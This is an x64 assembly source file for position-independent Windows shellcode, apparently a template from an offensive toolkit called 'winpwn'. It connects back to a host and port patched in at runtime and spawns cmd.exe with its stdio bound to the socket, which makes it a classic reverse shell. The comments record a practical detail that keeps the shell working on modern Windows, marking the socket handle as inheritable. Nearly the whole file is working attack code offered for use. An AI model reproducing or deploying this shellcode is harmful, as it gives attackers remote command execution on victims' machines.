; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
; redirected to the socket. The classic Windows reverse-shell primitive.
;
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
; constants since they never change.
;
; Real gotcha, worth recording here since it's easy to miss and the
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
; error anywhere) gives no hint why: socket() handles are NOT inheritable
; by default on modern Windows (a hardening change from the days when
; every handle was inheritable by default). bInheritHandles=TRUE on
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
; specific socket handle as inheritable first, or the child simply doesn't
; get a usable copy of it no matter what STARTUPINFOA says.
BITS 64
default rel

start:
    push rbp
    push r12
    push r13
    mov rbp, rsp
    and rsp, ~0xF

    call get_kernel32_base
    mov r12, rax                  ; r12 = kernel32 base, kept for the whole routine

    ; WSAStartup(0x0202, &wsadata_buf)
    mov rcx, r12
    lea rdx, [rel name_ws2_32]
    lea r8, [rel name_wsastartup]
    call resolve_export
    mov rcx, 0x0202
    lea rdx, [rel wsadata_buf]
    sub rsp, 0x20
    call rax
    add rsp, 0x20

    ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
    mov rcx, r12
    lea rdx, [rel name_ws2_32]
    lea r8, [rel name_socket]
    call resolve_export
    mov rcx, 2
    mov rdx, 1
    mov r8, 6
    sub rsp, 0x20
    call rax
    add rsp, 0x20
    mov r13, rax

    ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
    ; -- see the file header: without this, the child below can't actually
    ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
    mov rcx, r12
    xor rdx, rdx
    lea r8, [rel name_sethandleinformation]
    call resolve_export
    mov rcx, r13
    mov rdx, 1
    mov r8, 1
    sub rsp, 0x20
    call rax
    add rsp, 0x20

    ; connect(sockfd, &sockaddr_buf, 16)
    mov rcx, r12
    lea rdx, [rel name_ws2_32]
    lea r8, [rel name_connect]
    call resolve_export
    mov rcx, r13
    lea rdx, [rel sockaddr_buf]
    mov r8, 16
    sub rsp, 0x20
    call rax
    add rsp, 0x20

    ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
    ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
    ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
    sub rsp, 0xE0

    mov qword [rsp+0x50], 0
    mov qword [rsp+0x58], 0
    mov qword [rsp+0x60], 0
    mov qword [rsp+0x68], 0
    mov qword [rsp+0x70], 0
    mov qword [rsp+0x78], 0
    mov qword [rsp+0x80], 0
    mov qword [rsp+0x88], 0
    mov qword [rsp+0x90], 0
    mov qword [rsp+0x98], 0
    mov qword [rsp+0xA0], 0
    mov qword [rsp+0xA8], 0
    mov qword [rsp+0xB0], 0

    mov dword [rsp+0x50], 104       ; STARTUPINFOA.cb
    mov dword [rsp+0x8C], 0x100     ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
    mov [rsp+0xA0], r13             ; .hStdInput  (offset 80)
    mov [rsp+0xA8], r13             ; .hStdOutput (offset 88)
    mov [rsp+0xB0], r13             ; .hStdError  (offset 96)

    ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
    mov rcx, r12
    xor rdx, rdx
    lea r8, [rel name_createprocessa]
    call resolve_export
    mov r14, rax

    xor rcx, rcx                    ; lpApplicationName = NULL
    lea rdx, [rel cmdline_buf]       ; lpCommandLine = "cmd.exe"
    xor r8, r8                      ; lpProcessAttributes = NULL
    xor r9, r9                      ; lpThreadAttributes = NULL
    mov qword [rsp+0x20], 1          ; bInheritHandles = TRUE
    mov qword [rsp+0x28], 0          ; dwCreationFlags = 0
    mov qword [rsp+0x30], 0          ; lpEnvironment = NULL
    mov qword [rsp+0x38], 0          ; lpCurrentDirectory = NULL
    lea rax, [rsp+0x50]
    mov qword [rsp+0x40], rax        ; lpStartupInfo = &si
    lea rax, [rsp+0xB8]
    mov qword [rsp+0x48], rax        ; lpProcessInformation = &pi
    call r14

    add rsp, 0xE0
    mov rsp, rbp
    pop r13
    pop r12
    pop rbp
    ret

%include "resolver.inc"

name_ws2_32: db "ws2_32.dll", 0
name_wsastartup: db "WSAStartup", 0
name_socket: db "socket", 0
name_connect: db "connect", 0
name_sethandleinformation: db "SetHandleInformation", 0
name_createprocessa: db "CreateProcessA", 0

; lpCommandLine must point at writable memory (CreateProcessA may modify
; it in place) -- fine here since shellcode bytes live in a writable page
; wherever they landed, same as every other template's embedded buffers.
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0

align 8
wsadata_buf:
    times 512 db 0

align 8
sockaddr_buf:
    dw 2          ; sin_family = AF_INET
    dw 0          ; sin_port, patched at runtime (network byte order)
    dd 0          ; sin_addr, patched at runtime (network byte order)
    dq 0          ; sin_zero[8]
